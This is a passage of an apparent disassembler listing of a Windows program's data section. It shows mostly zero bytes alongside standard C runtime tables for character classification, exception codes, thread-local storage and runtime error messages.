.data:00407218                 db    0
.data:00407219                 db    0
.data:0040721A                 db    0
.data:0040721B                 db    0
.data:0040721C                 db    0
.data:0040721D                 db    0
.data:0040721E                 db    0
.data:0040721F                 db    0
.data:00407220                 db    0
.data:00407221                 db    0
.data:00407222                 db    0
.data:00407223                 db    0
.data:00407224                 db    0
.data:00407225                 db    0
.data:00407226                 db    0
.data:00407227                 db    0
.data:00407228                 db    0
.data:00407229                 db    0
.data:0040722A                 db    0
.data:0040722B                 db    0
.data:0040722C                 db    0
.data:0040722D                 db    0
.data:0040722E                 db    0
.data:0040722F                 db    0
.data:00407230                 db    0
.data:00407231                 db    0
.data:00407232                 db    0
.data:00407233                 db    0
.data:00407234                 db    0
.data:00407235                 db    0
.data:00407236                 db    0
.data:00407237                 db    0
.data:00407238                 db    0
.data:00407239                 db    0
.data:0040723A                 db    0
.data:0040723B                 db    0
.data:0040723C                 db    0
.data:0040723D                 db    0
.data:0040723E                 db    0
.data:0040723F                 db    0
.data:00407240                 db    0
.data:00407241                 db    0
.data:00407242                 db    0
.data:00407243                 db    0
.data:00407244                 db    0
.data:00407245                 db    0
.data:00407246                 db    0
.data:00407247                 db    0
.data:00407248                 db    0
.data:00407249                 db    0
.data:0040724A                 db    0
.data:0040724B                 db    0
.data:0040724C                 db    0
.data:0040724D                 db    0
.data:0040724E                 db    0
.data:0040724F                 db    0
.data:00407250                 db    0
.data:00407251                 db    0
.data:00407252                 db    0
.data:00407253                 db    0
.data:00407254                 db    0
.data:00407255                 db    0
.data:00407256                 db    0
.data:00407257                 db    0
.data:00407258                 db    0
.data:00407259                 db    0
.data:0040725A                 db    0
.data:0040725B                 db    0
.data:0040725C                 db    0
.data:0040725D                 db    0
.data:0040725E                 db    0
.data:0040725F                 db    0
.data:00407260                 db    0
.data:00407261                 db    0
.data:00407262                 db    0
.data:00407263                 db    0
.data:00407264                 db    0
.data:00407265                 db    0
.data:00407266                 db    0
.data:00407267                 db    0
.data:00407268                 db    0
.data:00407269                 db    0
.data:0040726A                 db    0
.data:0040726B                 db    0
.data:0040726C                 db    0
.data:0040726D                 db    0
.data:0040726E                 db    0
.data:0040726F                 db    0
.data:00407270                 db    0
.data:00407271                 db    0
.data:00407272                 db    0
.data:00407273                 db    0
.data:00407274                 db    0
.data:00407275                 db    0
.data:00407276                 db    0
.data:00407277                 db    0
.data:00407278                 db  43h ; C
.data:00407279                 db    0
.data:0040727A                 db    0
.data:0040727B                 db    0
.data:0040727C                 db  43h ; C
.data:0040727D                 db    0
.data:0040727E                 db    0
.data:0040727F                 db    0
.data:00407280                 db    0
.data:00407281                 db    0
.data:00407282                 db    0
.data:00407283                 db    0
.data:00407284                 db    0
.data:00407285                 db    0
.data:00407286                 db    0
.data:00407287                 db    0
.data:00407288                 db    0
.data:00407289                 db    0
.data:0040728A                 db    0
.data:0040728B                 db    0
.data:0040728C                 db    0
.data:0040728D                 db    0
.data:0040728E                 db    0
.data:0040728F                 db    0
.data:00407290                 db    0
.data:00407291                 db    0
.data:00407292                 db    0
.data:00407293                 db    0
.data:00407294                 db    0
.data:00407295                 db    0
.data:00407296                 db    0
.data:00407297                 db    0
.data:00407298                 db    0
.data:00407299                 db    0
.data:0040729A                 db    0
.data:0040729B                 db    0
.data:0040729C                 db    0
.data:0040729D                 db    0
.data:0040729E                 db    0
.data:0040729F                 db    0
.data:004072A0                 db    0
.data:004072A1                 db    0
.data:004072A2                 db    0
.data:004072A3                 db    0
.data:004072A4                 db    0
.data:004072A5                 db    0
.data:004072A6                 db    0
.data:004072A7                 db    0
.data:004072A8                 db    0
.data:004072A9                 db    0
.data:004072AA                 db    0
.data:004072AB                 db    0
.data:004072AC                 db    0
.data:004072AD                 db    0
.data:004072AE                 db    0
.data:004072AF                 db    0
.data:004072B0                 db    0
.data:004072B1                 db    0
.data:004072B2                 db    0
.data:004072B3                 db    0
.data:004072B4                 db    0
.data:004072B5                 db    0
.data:004072B6                 db    0
.data:004072B7                 db    0
.data:004072B8                 db    0
.data:004072B9                 db    0
.data:004072BA                 db    0
.data:004072BB                 db    0
.data:004072BC                 db    0
.data:004072BD                 db    0
.data:004072BE                 db    0
.data:004072BF                 db    0
.data:004072C0                 db    0
.data:004072C1                 db    0
.data:004072C2                 db    0
.data:004072C3                 db    0
.data:004072C4                 db    0
.data:004072C5                 db    0
.data:004072C6                 db    0
.data:004072C7                 db    0
.data:004072C8                 db    0
.data:004072C9                 db    0
.data:004072CA                 db    0
.data:004072CB                 db    0
.data:004072CC                 db    0
.data:004072CD                 db    0
.data:004072CE                 db    0
.data:004072CF                 db    0
.data:004072D0                 db    0
.data:004072D1                 db    0
.data:004072D2                 db    0
.data:004072D3                 db    0
.data:004072D4                 db    0
.data:004072D5                 db    0
.data:004072D6                 db    0
.data:004072D7                 db    0
.data:004072D8                 db    0
.data:004072D9                 db    0
.data:004072DA                 db    0
.data:004072DB                 db    0
.data:004072DC                 db    0
.data:004072DD                 db    0
.data:004072DE                 db    0
.data:004072DF                 db    0
.data:004072E0                 db    0
.data:004072E1                 db    0
.data:004072E2                 db    0
.data:004072E3                 db    0
.data:004072E4                 db    0
.data:004072E5                 db    0
.data:004072E6                 db    0
.data:004072E7                 db    0
.data:004072E8                 db    0
.data:004072E9                 db    0
.data:004072EA                 db    0
.data:004072EB                 db    0
.data:004072EC                 db    0
.data:004072ED                 db    0
.data:004072EE                 db    0
.data:004072EF                 db    0
.data:004072F0                 db    0
.data:004072F1                 db    0
.data:004072F2                 db    0
.data:004072F3                 db    0
.data:004072F4                 db    0
.data:004072F5                 db    0
.data:004072F6                 db    0
.data:004072F7                 db    0
.data:004072F8                 db    0
.data:004072F9                 db    0
.data:004072FA                 db    0
.data:004072FB                 db    0
.data:004072FC                 db    0
.data:004072FD                 db    0
.data:004072FE                 db    0
.data:004072FF                 db    0
.data:00407300                 db  43h ; C
.data:00407301                 db    0
.data:00407302                 db    0
.data:00407303                 db    0
.data:00407304                 db    0
.data:00407305                 db    0
.data:00407306                 db    0
.data:00407307                 db    0
.data:00407308                 db    0
.data:00407309                 db    0
.data:0040730A                 db    0
.data:0040730B                 db    0
.data:0040730C                 db    0
.data:0040730D                 db    0
.data:0040730E                 db    0
.data:0040730F                 db    0
.data:00407310                 db    0
.data:00407311                 db    0
.data:00407312                 db    0
.data:00407313                 db    0
.data:00407314                 db    0
.data:00407315                 db    0
.data:00407316                 db    0
.data:00407317                 db    0
.data:00407318                 db    0
.data:00407319                 db    0
.data:0040731A                 db    0
.data:0040731B                 db    0
.data:0040731C                 db    0
.data:0040731D                 db    0
.data:0040731E                 db    0
.data:0040731F                 db    0
.data:00407320                 db    0
.data:00407321                 db    0
.data:00407322                 db    0
.data:00407323                 db    0
.data:00407324                 db    0
.data:00407325                 db    0
.data:00407326                 db    0
.data:00407327                 db    0
.data:00407328                 db    0
.data:00407329                 db    0
.data:0040732A                 db    0
.data:0040732B                 db    0
.data:0040732C                 db    0
.data:0040732D                 db    0
.data:0040732E                 db    0
.data:0040732F                 db    0
.data:00407330                 db    0
.data:00407331                 db    0
.data:00407332                 db    0
.data:00407333                 db    0
.data:00407334                 db    0
.data:00407335                 db    0
.data:00407336                 db    0
.data:00407337                 db    0
.data:00407338                 db    0
.data:00407339                 db    0
.data:0040733A                 db    0
.data:0040733B                 db    0
.data:0040733C                 db    0
.data:0040733D                 db    0
.data:0040733E                 db    0
.data:0040733F                 db    0
.data:00407340                 db    0
.data:00407341                 db    0
.data:00407342                 db    0
.data:00407343                 db    0
.data:00407344                 db    0
.data:00407345                 db    0
.data:00407346                 db    0
.data:00407347                 db    0
.data:00407348                 db    0
.data:00407349                 db    0
.data:0040734A                 db    0
.data:0040734B                 db    0
.data:0040734C                 db    0
.data:0040734D                 db    0
.data:0040734E                 db    0
.data:0040734F                 db    0
.data:00407350                 db    0
.data:00407351                 db    0
.data:00407352                 db    0
.data:00407353                 db    0
.data:00407354                 db    0
.data:00407355                 db    0
.data:00407356                 db    0
.data:00407357                 db    0
.data:00407358                 db    0
.data:00407359                 db    0
.data:0040735A                 db    0
.data:0040735B                 db    0
.data:0040735C                 db    0
.data:0040735D                 db    0
.data:0040735E                 db    0
.data:0040735F                 db    0
.data:00407360                 db    0
.data:00407361                 db    0
.data:00407362                 db    0
.data:00407363                 db    0
.data:00407364                 db    0
.data:00407365                 db    0
.data:00407366                 db    0
.data:00407367                 db    0
.data:00407368                 db    0
.data:00407369                 db    0
.data:0040736A                 db    0
.data:0040736B                 db    0
.data:0040736C                 db    0
.data:0040736D                 db    0
.data:0040736E                 db    0
.data:0040736F                 db    0
.data:00407370                 db    0
.data:00407371                 db    0
.data:00407372                 db    0
.data:00407373                 db    0
.data:00407374                 db    0
.data:00407375                 db    0
.data:00407376                 db    0
.data:00407377                 db    0
.data:00407378                 db    0
.data:00407379                 db    0
.data:0040737A                 db    0
.data:0040737B                 db    0
.data:0040737C                 db    0
.data:0040737D                 db    0
.data:0040737E                 db    0
.data:0040737F                 db    0
.data:00407380                 db    0
.data:00407381                 db    0
.data:00407382                 db    0
.data:00407383                 db    0
.data:00407384 off_407384      dd offset __ctype+2     ; DATA XREF: _tolower_0:loc_40210Er
.data:00407384                                         ; _tolower_0:loc_402120r ...
.data:00407388                 dd offset __ctype+2
.data:0040738C                 public __ctype
.data:0040738C ; unsigned __int16 _ctype[]
.data:0040738C __ctype         dd    200000h           ; DATA XREF: _x_ismbbtype+18r
.data:0040738C                                         ; .data:off_407384o ...
.data:00407390                 unicode 0, <        (((((                  H>
.data:004073D0                 db  10h
.data:004073D1                 db    0
.data:004073D2                 db  10h
.data:004073D3                 db    0
.data:004073D4                 db  10h
.data:004073D5                 db    0
.data:004073D6                 db  10h
.data:004073D7                 db    0
.data:004073D8                 db  10h
.data:004073D9                 db    0
.data:004073DA                 db  10h
.data:004073DB                 db    0
.data:004073DC                 db  10h
.data:004073DD                 db    0
.data:004073DE                 db  10h
.data:004073DF                 db    0
.data:004073E0                 db  10h
.data:004073E1                 db    0
.data:004073E2                 db  10h
.data:004073E3                 db    0
.data:004073E4                 db  10h
.data:004073E5                 db    0
.data:004073E6                 db  10h
.data:004073E7                 db    0
.data:004073E8                 db  10h
.data:004073E9                 db    0
.data:004073EA                 db  10h
.data:004073EB                 db    0
.data:004073EC                 db  10h
.data:004073ED                 db    0
.data:004073EE                 db  84h ; ä
.data:004073EF                 db    0
.data:004073F0                 db  84h ; ä
.data:004073F1                 db    0
.data:004073F2                 db  84h ; ä
.data:004073F3                 db    0
.data:004073F4                 db  84h ; ä
.data:004073F5                 db    0
.data:004073F6                 db  84h ; ä
.data:004073F7                 db    0
.data:004073F8                 db  84h ; ä
.data:004073F9                 db    0
.data:004073FA                 db  84h ; ä
.data:004073FB                 db    0
.data:004073FC                 db  84h ; ä
.data:004073FD                 db    0
.data:004073FE                 db  84h ; ä
.data:004073FF                 db    0
.data:00407400                 db  84h ; ä
.data:00407401                 db    0
.data:00407402                 db  10h
.data:00407403                 db    0
.data:00407404                 db  10h
.data:00407405                 db    0
.data:00407406                 db  10h
.data:00407407                 db    0
.data:00407408                 db  10h
.data:00407409                 db    0
.data:0040740A                 db  10h
.data:0040740B                 db    0
.data:0040740C                 db  10h
.data:0040740D                 db    0
.data:0040740E                 db  10h
.data:0040740F                 db    0
.data:00407410                 db  81h ; ü
.data:00407411                 db    0
.data:00407412                 db  81h ; ü
.data:00407413                 db    0
.data:00407414                 db  81h ; ü
.data:00407415                 db    0
.data:00407416                 db  81h ; ü
.data:00407417                 db    0
.data:00407418                 db  81h ; ü
.data:00407419                 db    0
.data:0040741A                 db  81h ; ü
.data:0040741B                 db    0
.data:0040741C                 db    1
.data:0040741D                 db    0
.data:0040741E                 db    1
.data:0040741F                 db    0
.data:00407420                 db    1
.data:00407421                 db    0
.data:00407422                 db    1
.data:00407423                 db    0
.data:00407424                 db    1
.data:00407425                 db    0
.data:00407426                 db    1
.data:00407427                 db    0
.data:00407428                 db    1
.data:00407429                 db    0
.data:0040742A                 db    1
.data:0040742B                 db    0
.data:0040742C                 db    1
.data:0040742D                 db    0
.data:0040742E                 db    1
.data:0040742F                 db    0
.data:00407430                 db    1
.data:00407431                 db    0
.data:00407432                 db    1
.data:00407433                 db    0
.data:00407434                 db    1
.data:00407435                 db    0
.data:00407436                 db    1
.data:00407437                 db    0
.data:00407438                 db    1
.data:00407439                 db    0
.data:0040743A                 db    1
.data:0040743B                 db    0
.data:0040743C                 db    1
.data:0040743D                 db    0
.data:0040743E                 db    1
.data:0040743F                 db    0
.data:00407440                 db    1
.data:00407441                 db    0
.data:00407442                 db    1
.data:00407443                 db    0
.data:00407444                 db  10h
.data:00407445                 db    0
.data:00407446                 db  10h
.data:00407447                 db    0
.data:00407448                 db  10h
.data:00407449                 db    0
.data:0040744A                 db  10h
.data:0040744B                 db    0
.data:0040744C                 db  10h
.data:0040744D                 db    0
.data:0040744E                 db  10h
.data:0040744F                 db    0
.data:00407450                 db  82h ; é
.data:00407451                 db    0
.data:00407452                 db  82h ; é
.data:00407453                 db    0
.data:00407454                 db  82h ; é
.data:00407455                 db    0
.data:00407456                 db  82h ; é
.data:00407457                 db    0
.data:00407458                 db  82h ; é
.data:00407459                 db    0
.data:0040745A                 db  82h ; é
.data:0040745B                 db    0
.data:0040745C                 db    2
.data:0040745D                 db    0
.data:0040745E                 db    2
.data:0040745F                 db    0
.data:00407460                 db    2
.data:00407461                 db    0
.data:00407462                 db    2
.data:00407463                 db    0
.data:00407464                 db    2
.data:00407465                 db    0
.data:00407466                 db    2
.data:00407467                 db    0
.data:00407468                 db    2
.data:00407469                 db    0
.data:0040746A                 db    2
.data:0040746B                 db    0
.data:0040746C                 db    2
.data:0040746D                 db    0
.data:0040746E                 db    2
.data:0040746F                 db    0
.data:00407470                 db    2
.data:00407471                 db    0
.data:00407472                 db    2
.data:00407473                 db    0
.data:00407474                 db    2
.data:00407475                 db    0
.data:00407476                 db    2
.data:00407477                 db    0
.data:00407478                 db    2
.data:00407479                 db    0
.data:0040747A                 db    2
.data:0040747B                 db    0
.data:0040747C                 db    2
.data:0040747D                 db    0
.data:0040747E                 db    2
.data:0040747F                 db    0
.data:00407480                 db    2
.data:00407481                 db    0
.data:00407482                 db    2
.data:00407483                 db    0
.data:00407484                 db  10h
.data:00407485                 db    0
.data:00407486                 db  10h
.data:00407487                 db    0
.data:00407488                 db  10h
.data:00407489                 db    0
.data:0040748A                 db  10h
.data:0040748B                 db    0
.data:0040748C                 db  20h
.data:0040748D                 db    0
.data:0040748E                 db    0
.data:0040748F                 db    0
.data:00407490                 db    0
.data:00407491                 db    0
.data:00407492                 db    0
.data:00407493                 db    0
.data:00407494                 db    0
.data:00407495                 db    0
.data:00407496                 db    0
.data:00407497                 db    0
.data:00407498                 db    0
.data:00407499                 db    0
.data:0040749A                 db    0
.data:0040749B                 db    0
.data:0040749C                 db    0
.data:0040749D                 db    0
.data:0040749E                 db    0
.data:0040749F                 db    0
.data:004074A0                 db    0
.data:004074A1                 db    0
.data:004074A2                 db    0
.data:004074A3                 db    0
.data:004074A4                 db    0
.data:004074A5                 db    0
.data:004074A6                 db    0
.data:004074A7                 db    0
.data:004074A8                 db    0
.data:004074A9                 db    0
.data:004074AA                 db    0
.data:004074AB                 db    0
.data:004074AC                 db    0
.data:004074AD                 db    0
.data:004074AE                 db    0
.data:004074AF                 db    0
.data:004074B0                 db    0
.data:004074B1                 db    0
.data:004074B2                 db    0
.data:004074B3                 db    0
.data:004074B4                 db    0
.data:004074B5                 db    0
.data:004074B6                 db    0
.data:004074B7                 db    0
.data:004074B8                 db    0
.data:004074B9                 db    0
.data:004074BA                 db    0
.data:004074BB                 db    0
.data:004074BC                 db    0
.data:004074BD                 db    0
.data:004074BE                 db    0
.data:004074BF                 db    0
.data:004074C0                 db    0
.data:004074C1                 db    0
.data:004074C2                 db    0
.data:004074C3                 db    0
.data:004074C4                 db    0
.data:004074C5                 db    0
.data:004074C6                 db    0
.data:004074C7                 db    0
.data:004074C8                 db    0
.data:004074C9                 db    0
.data:004074CA                 db    0
.data:004074CB                 db    0
.data:004074CC                 db    0
.data:004074CD                 db    0
.data:004074CE                 db    0
.data:004074CF                 db    0
.data:004074D0                 db    0
.data:004074D1                 db    0
.data:004074D2                 db    0
.data:004074D3                 db    0
.data:004074D4                 db    0
.data:004074D5                 db    0
.data:004074D6                 db    0
.data:004074D7                 db    0
.data:004074D8                 db    0
.data:004074D9                 db    0
.data:004074DA                 db    0
.data:004074DB                 db    0
.data:004074DC                 db    0
.data:004074DD                 db    0
.data:004074DE                 db    0
.data:004074DF                 db    0
.data:004074E0                 db    0
.data:004074E1                 db    0
.data:004074E2                 db    0
.data:004074E3                 db    0
.data:004074E4                 db    0
.data:004074E5                 db    0
.data:004074E6                 db    0
.data:004074E7                 db    0
.data:004074E8                 db    0
.data:004074E9                 db    0
.data:004074EA                 db    0
.data:004074EB                 db    0
.data:004074EC                 db    0
.data:004074ED                 db    0
.data:004074EE                 db    0
.data:004074EF                 db    0
.data:004074F0                 db    0
.data:004074F1                 db    0
.data:004074F2                 db    0
.data:004074F3                 db    0
.data:004074F4                 db    0
.data:004074F5                 db    0
.data:004074F6                 db    0
.data:004074F7                 db    0
.data:004074F8                 db    0
.data:004074F9                 db    0
.data:004074FA                 db    0
.data:004074FB                 db    0
.data:004074FC                 db    0
.data:004074FD                 db    0
.data:004074FE                 db    0
.data:004074FF                 db    0
.data:00407500                 db    0
.data:00407501                 db    0
.data:00407502                 db    0
.data:00407503                 db    0
.data:00407504                 db    0
.data:00407505                 db    0
.data:00407506                 db    0
.data:00407507                 db    0
.data:00407508                 db    0
.data:00407509                 db    0
.data:0040750A                 db    0
.data:0040750B                 db    0
.data:0040750C                 db    0
.data:0040750D                 db    0
.data:0040750E                 db    0
.data:0040750F                 db    0
.data:00407510                 db    0
.data:00407511                 db    0
.data:00407512                 db    0
.data:00407513                 db    0
.data:00407514                 db    0
.data:00407515                 db    0
.data:00407516                 db    0
.data:00407517                 db    0
.data:00407518                 db    0
.data:00407519                 db    0
.data:0040751A                 db    0
.data:0040751B                 db    0
.data:0040751C                 db    0
.data:0040751D                 db    0
.data:0040751E                 db    0
.data:0040751F                 db    0
.data:00407520                 db    0
.data:00407521                 db    0
.data:00407522                 db    0
.data:00407523                 db    0
.data:00407524                 db    0
.data:00407525                 db    0
.data:00407526                 db    0
.data:00407527                 db    0
.data:00407528                 db    0
.data:00407529                 db    0
.data:0040752A                 db    0
.data:0040752B                 db    0
.data:0040752C                 db    0
.data:0040752D                 db    0
.data:0040752E                 db    0
.data:0040752F                 db    0
.data:00407530                 db    0
.data:00407531                 db    0
.data:00407532                 db    0
.data:00407533                 db    0
.data:00407534                 db    0
.data:00407535                 db    0
.data:00407536                 db    0
.data:00407537                 db    0
.data:00407538                 db    0
.data:00407539                 db    0
.data:0040753A                 db    0
.data:0040753B                 db    0
.data:0040753C                 db    0
.data:0040753D                 db    0
.data:0040753E                 db    0
.data:0040753F                 db    0
.data:00407540                 db    0
.data:00407541                 db    0
.data:00407542                 db    0
.data:00407543                 db    0
.data:00407544                 db    0
.data:00407545                 db    0
.data:00407546                 db    0
.data:00407547                 db    0
.data:00407548                 db    0
.data:00407549                 db    0
.data:0040754A                 db    0
.data:0040754B                 db    0
.data:0040754C                 db    0
.data:0040754D                 db    0
.data:0040754E                 db    0
.data:0040754F                 db    0
.data:00407550                 db    0
.data:00407551                 db    0
.data:00407552                 db    0
.data:00407553                 db    0
.data:00407554                 db    0
.data:00407555                 db    0
.data:00407556                 db    0
.data:00407557                 db    0
.data:00407558                 db    0
.data:00407559                 db    0
.data:0040755A                 db    0
.data:0040755B                 db    0
.data:0040755C                 db    0
.data:0040755D                 db    0
.data:0040755E                 db    0
.data:0040755F                 db    0
.data:00407560                 db    0
.data:00407561                 db    0
.data:00407562                 db    0
.data:00407563                 db    0
.data:00407564                 db    0
.data:00407565                 db    0
.data:00407566                 db    0
.data:00407567                 db    0
.data:00407568                 db    0
.data:00407569                 db    0
.data:0040756A                 db    0
.data:0040756B                 db    0
.data:0040756C                 db    0
.data:0040756D                 db    0
.data:0040756E                 db    0
.data:0040756F                 db    0
.data:00407570                 db    0
.data:00407571                 db    0
.data:00407572                 db    0
.data:00407573                 db    0
.data:00407574                 db    0
.data:00407575                 db    0
.data:00407576                 db    0
.data:00407577                 db    0
.data:00407578                 db    0
.data:00407579                 db    0
.data:0040757A                 db    0
.data:0040757B                 db    0
.data:0040757C                 db    0
.data:0040757D                 db    0
.data:0040757E                 db    0
.data:0040757F                 db    0
.data:00407580                 db    0
.data:00407581                 db    0
.data:00407582                 db    0
.data:00407583                 db    0
.data:00407584                 db    0
.data:00407585                 db    0
.data:00407586                 db    0
.data:00407587                 db    0
.data:00407588                 db    0
.data:00407589                 db    0
.data:0040758A                 db    0
.data:0040758B                 db    0
.data:0040758C                 db    0
.data:0040758D                 db    0
.data:0040758E                 db    0
.data:0040758F                 db    0
.data:00407590 dword_407590    dd 1                    ; DATA XREF: _tolower_0+3Cr
.data:00407594                 db  2Eh ; .
.data:00407595                 db    0
.data:00407596                 db    0
.data:00407597                 db    0
.data:00407598                 db    1
.data:00407599                 db    0
.data:0040759A                 db    0
.data:0040759B                 db    0
.data:0040759C                 db    0
.data:0040759D                 db    0
.data:0040759E                 db    0
.data:0040759F                 db    0
.data:004075A0 unk_4075A0      db    5                 ; DATA XREF: __initptd+4o
.data:004075A1                 db    0
.data:004075A2                 db    0
.data:004075A3                 db 0C0h ; +
.data:004075A4                 db  0Bh
.data:004075A5                 db    0
.data:004075A6                 db    0
.data:004075A7                 db    0
.data:004075A8                 db    0
.data:004075A9                 db    0
.data:004075AA                 db    0
.data:004075AB                 db    0
.data:004075AC                 db  1Dh
.data:004075AD                 db    0
.data:004075AE                 db    0
.data:004075AF                 db 0C0h ; +
.data:004075B0                 db    4
.data:004075B1                 db    0
.data:004075B2                 db    0
.data:004075B3                 db    0
.data:004075B4                 db    0
.data:004075B5                 db    0
.data:004075B6                 db    0
.data:004075B7                 db    0
.data:004075B8                 db  96h ; û
.data:004075B9                 db    0
.data:004075BA                 db    0
.data:004075BB                 db 0C0h ; +
.data:004075BC                 db    4
.data:004075BD                 db    0
.data:004075BE                 db    0
.data:004075BF                 db    0
.data:004075C0                 db    0
.data:004075C1                 db    0
.data:004075C2                 db    0
.data:004075C3                 db    0
.data:004075C4                 db  8Dh ; ì
.data:004075C5                 db    0
.data:004075C6                 db    0
.data:004075C7                 db 0C0h ; +
.data:004075C8                 db    8
.data:004075C9                 db    0
.data:004075CA                 db    0
.data:004075CB                 db    0
.data:004075CC                 db    0
.data:004075CD                 db    0
.data:004075CE                 db    0
.data:004075CF                 db    0
.data:004075D0                 db  8Eh ; Ä
.data:004075D1                 db    0
.data:004075D2                 db    0
.data:004075D3                 db 0C0h ; +
.data:004075D4                 db    8
.data:004075D5                 db    0
.data:004075D6                 db    0
.data:004075D7                 db    0
.data:004075D8                 db    0
.data:004075D9                 db    0
.data:004075DA                 db    0
.data:004075DB                 db    0
.data:004075DC                 db  8Fh ; Å
.data:004075DD                 db    0
.data:004075DE                 db    0
.data:004075DF                 db 0C0h ; +
.data:004075E0                 db    8
.data:004075E1                 db    0
.data:004075E2                 db    0
.data:004075E3                 db    0
.data:004075E4                 db    0
.data:004075E5                 db    0
.data:004075E6                 db    0
.data:004075E7                 db    0
.data:004075E8                 db  90h ; É
.data:004075E9                 db    0
.data:004075EA                 db    0
.data:004075EB                 db 0C0h ; +
.data:004075EC                 db    8
.data:004075ED                 db    0
.data:004075EE                 db    0
.data:004075EF                 db    0
.data:004075F0                 db    0
.data:004075F1                 db    0
.data:004075F2                 db    0
.data:004075F3                 db    0
.data:004075F4                 db  91h ; æ
.data:004075F5                 db    0
.data:004075F6                 db    0
.data:004075F7                 db 0C0h ; +
.data:004075F8                 db    8
.data:004075F9                 db    0
.data:004075FA                 db    0
.data:004075FB                 db    0
.data:004075FC                 db    0
.data:004075FD                 db    0
.data:004075FE                 db    0
.data:004075FF                 db    0
.data:00407600                 db  92h ; Æ
.data:00407601                 db    0
.data:00407602                 db    0
.data:00407603                 db 0C0h ; +
.data:00407604                 db    8
.data:00407605                 db    0
.data:00407606                 db    0
.data:00407607                 db    0
.data:00407608                 db    0
.data:00407609                 db    0
.data:0040760A                 db    0
.data:0040760B                 db    0
.data:0040760C                 db  93h ; ô
.data:0040760D                 db    0
.data:0040760E                 db    0
.data:0040760F                 db 0C0h ; +
.data:00407610                 db    8
.data:00407611                 db    0
.data:00407612                 db    0
.data:00407613                 db    0
.data:00407614                 db    0
.data:00407615                 db    0
.data:00407616                 db    0
.data:00407617                 db    0
.data:00407618 dword_407618    dd 3                    ; DATA XREF: __XcptFilter+62r
.data:00407618                                         ; __XcptFilter+86r
.data:0040761C dword_40761C    dd 7                    ; DATA XREF: __XcptFilter+68r
.data:0040761C                                         ; __XcptFilter+8Cr
.data:00407620                 db  78h ; x
.data:00407621                 db    0
.data:00407622                 db    0
.data:00407623                 db    0
.data:00407624 dword_407624    dd 0Ah                  ; DATA XREF: _xcptlookup+4r
.data:00407628                 db 0FFh
.data:00407629                 db 0FFh
.data:0040762A                 db 0FFh
.data:0040762B                 db 0FFh
.data:0040762C                 db    0
.data:0040762D                 db  0Ah
.data:0040762E                 db    0
.data:0040762F                 db    0
.data:00407630                 db    0
.data:00407631                 db    0
.data:00407632                 db    0
.data:00407633                 db    0
.data:00407634                 db    0
.data:00407635                 db    0
.data:00407636                 db    0
.data:00407637                 db    0
.data:00407638                 db    0
.data:00407639                 db    0
.data:0040763A                 db    0
.data:0040763B                 db    0
.data:0040763C                 db    0
.data:0040763D                 db    0
.data:0040763E                 db    0
.data:0040763F                 db    0
.data:00407640                 db    0
.data:00407641                 db    0
.data:00407642                 db    0
.data:00407643                 db    0
.data:00407644                 db    0
.data:00407645                 db    0
.data:00407646                 db    0
.data:00407647                 db    0
.data:00407648                 db    0
.data:00407649                 db    0
.data:0040764A                 db    0
.data:0040764B                 db    0
.data:0040764C ; DWORD dwTlsIndex
.data:0040764C dwTlsIndex      dd 0FFFFFFFFh           ; DATA XREF: __mtinit+Fw
.data:0040764C                                         ; __mtinit+28r ...
.data:00407650                 db  10h
.data:00407651                 db    0
.data:00407652                 db    0
.data:00407653                 db    0
.data:00407654 unk_407654      db  20h                 ; DATA XREF: .text:004031C3o
.data:00407654                                         ; __NLG_Notify+2o
.data:00407655                 db    5
.data:00407656                 db  93h ; ô
.data:00407657                 db  19h
.data:00407658                 db    0
.data:00407659                 db    0
.data:0040765A                 db    0
.data:0040765B                 db    0
.data:0040765C                 db    0
.data:0040765D                 db    0
.data:0040765E                 db    0
.data:0040765F                 db    0
.data:00407660                 db    0
.data:00407661                 db    0
.data:00407662                 db    0
.data:00407663                 db    0
.data:00407664                 db    0
.data:00407665                 db    0
.data:00407666                 db    0
.data:00407667                 db    0
.data:00407668 dword_407668    dd 2                    ; DATA XREF: __NMSG_WRITE+Eo
.data:00407668                                         ; __NMSG_WRITE+28r
.data:0040766C off_40766C      dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
.data:0040766C                                         ; __NMSG_WRITE+12Dr
.data:0040766C                                         ; "R6002\r\n- floating point not loaded\r\n"
.data:00407670                 db    8
.data:00407671                 db    0
.data:00407672                 db    0
.data:00407673                 db    0
.data:00407674                 db 0D0h ; -
.data:00407675                 db  64h ; d
.data:00407676                 db  40h ; @
.data:00407677                 db    0
.data:00407678                 db    9
.data:00407679                 db    0
.data:0040767A                 db    0
.data:0040767B                 db    0
.data:0040767C                 db 0A4h ; ñ
.data:0040767D                 db  64h ; d
.data:0040767E                 db  40h ; @
.data:0040767F                 db    0
.data:00407680                 db  0Ah
.data:00407681                 db    0
.data:00407682                 db    0
.data:00407683                 db    0
.data:00407684                 db  80h ; Ç
.data:00407685                 db  64h ; d
.data:00407686                 db  40h ; @
.data:00407687                 db    0
.data:00407688                 db  10h
.data:00407689                 db    0
.data:0040768A                 db    0
.data:0040768B                 db    0
.data:0040768C                 db  54h ; T
.data:0040768D                 db  64h ; d
.data:0040768E                 db  40h ; @
.data:0040768F                 db    0
.data:00407690                 db  11h
.data:00407691                 db    0
.data:00407692                 db    0
.data:00407693                 db    0
.data:00407694                 db  24h ; $
.data:00407695                 db  64h ; d
.data:00407696                 db  40h ; @
.data:00407697                 db    0
.data:00407698                 db  12h
.data:00407699                 db    0
.data:0040769A                 db    0
.data:0040769B                 db    0
.data:0040769C                 db    0
.data:0040769D                 db  64h ; d
.data:0040769E                 db  40h ; @
.data:0040769F                 db    0
.data:004076A0                 db  13h
.data:004076A1                 db    0
.data:004076A2                 db    0
.data:004076A3                 db    0
.data:004076A4                 db 0D4h ; +
.data:004076A5                 db  63h ; c
.data:004076A6                 db  40h ; @
.data:004076A7                 db    0
.data:004076A8                 db  18h
.data:004076A9                 db    0
.data:004076AA                 db    0
.data:004076AB                 db    0
.data:004076AC                 db  9Ch ; £
.data:004076AD                 db  63h ; c
.data:004076AE                 db  40h ; @
.data:004076AF                 db    0
.data:004076B0                 db  19h
.data:004076B1                 db    0
.data:004076B2                 db    0
.data:004076B3                 db    0
.data:004076B4                 db  74h ; t
.data:004076B5                 db  63h ; c
.data:004076B6                 db  40h ; @
.data:004076B7                 db    0
.data:004076B8                 db  1Ah
.data:004076B9                 db    0
.data:004076BA                 db    0
.data:004076BB                 db    0
.data:004076BC                 db  3Ch ; <
.data:004076BD                 db  63h ; c
.data:004076BE                 db  40h ; @
.data:004076BF                 db    0
.data:004076C0                 db  1Bh
.data:004076C1                 db    0
.data:004076C2                 db    0
.data:004076C3                 db    0
.data:004076C4                 db    4
.data:004076C5                 db  63h ; c
